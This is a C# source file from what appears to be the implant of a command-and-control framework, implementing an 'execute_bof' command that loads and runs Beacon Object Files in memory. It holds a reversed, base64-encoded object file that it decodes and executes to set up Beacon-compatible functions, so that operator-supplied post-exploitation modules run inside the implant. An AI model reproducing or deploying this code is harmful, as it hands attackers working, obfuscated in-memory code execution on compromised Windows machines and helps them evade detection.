﻿using DynamicEngLoading;
using static Engineer.Modules.CoffParser;
using System;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Engineer.Commands
{
    internal class Execute_Bof : EngineerCommand
    {
        public override string Name => "execute_bof";

        public override async Task Execute(EngineerTask task)
        {
            try
            {
                Console.WriteLine("Calling Execute_Bof.Execute()");
                task.Arguments.TryGetValue("/function", out string functionName);
                if(string.IsNullOrEmpty(functionName))
                {
                    ForwardingFunctions.ForwardingFunctionWrap.FillTaskResults("[-]  function name is required", task, EngTaskStatus.FailedWithWarnings, TaskResponseType.String);
                }
                task.Arguments.TryGetValue("/bof_hex", out string argDataHex);
                if (string.IsNullOrEmpty(argDataHex))
                {
                    ForwardingFunctions.ForwardingFunctionWrap.FillTaskResults("[-]  arg data is required", task, EngTaskStatus.FailedWithWarnings, TaskResponseType.String);
                }
                
                string result = RunCoff(functionName, task.File, argDataHex);
                ForwardingFunctions.ForwardingFunctionWrap.FillTaskResults(result, task, EngTaskStatus.Complete, TaskResponseType.String);

            }
            catch (Exception e)
            {
                Console.WriteLine(e);
            }
        }

        public static string RunCoff(string functionName, byte[] coff_data, string argData)
        {
            string Result = "";

            try
            {
                Console.WriteLine("Calling COFFLoader.RunCoff()");

                byte[] functionname = Encoding.ASCII.GetBytes(functionName);
                byte[] arg_data = Decode(argData);
                
                //beacon compatibility code 
                string data = new string("==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".ToCharArray().Reverse().ToArray());
                byte[] beacon_data = Decode(data);

                // Call coffloader once with beacon_compatibility.o before loading BOF to initialize Beacon* functions
                if (parseCOFF(new byte[] { }, beacon_data, beacon_data.Length, null, 0) == 1)
                {
                    CleanUpMemoryAllocations();
                    return "parseCOFF failed: 1";
                }

                Console.WriteLine("************************ BEACON PROCESSING DONE ***********************");

                if (parseCOFF(functionname, coff_data, coff_data.Length, arg_data,arg_data.Length ) == 1)
                {
                    Result = "ERROR";
                    h_coff.beaconOutputData = "parseCOFF failed: 1";
                    h_coff.beaconOutputData_sz = h_coff.beaconOutputData.Length;
                }
                else
                {
                    h_coff.beaconOutputData = getBeaconOutputData();
                    Result = h_coff.beaconOutputData;
                    h_coff.beaconOutputData_sz = h_coff.beaconOutputData.Length;
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(string.Format("Exception: '{0}'", e));
            }

            return Result;
        }

        public static int BeaconGetOutputData_Size()
        {
            return h_coff.beaconOutputData_sz;
        }

        public static string BeaconGetOutputData()
        {
            return h_coff.beaconOutputData;
        }

        public static string unhexlify(string hex)
        {
            string ret = null;
            for (int i = 0; i < hex.Length - 1; i += 2)
            {
                int value = Convert.ToInt32(hex.Substring(i, 2), 16);
                ret += char.ConvertFromUtf32(value);
            }
            return ret;
        }

        static byte[] ConvertHexStringToByteArray(string hexString)
        {
            if (hexString.Length % 2 != 0)
            {
                throw new ArgumentException("Invalid length: " + hexString.Length);
            }

            byte[] byteArray = new byte[hexString.Length / 2];
            for (int i = 0; i < hexString.Length; i += 2)
            {
                string hexByte = hexString.Substring(i, 2);
                byteArray[i / 2] = Convert.ToByte(hexByte, 16);
            }

            return byteArray;
        }

        public static byte[] Decode(string encodedBuffer)
        {
            return Convert.FromBase64String(encodedBuffer);
        }

    }
}
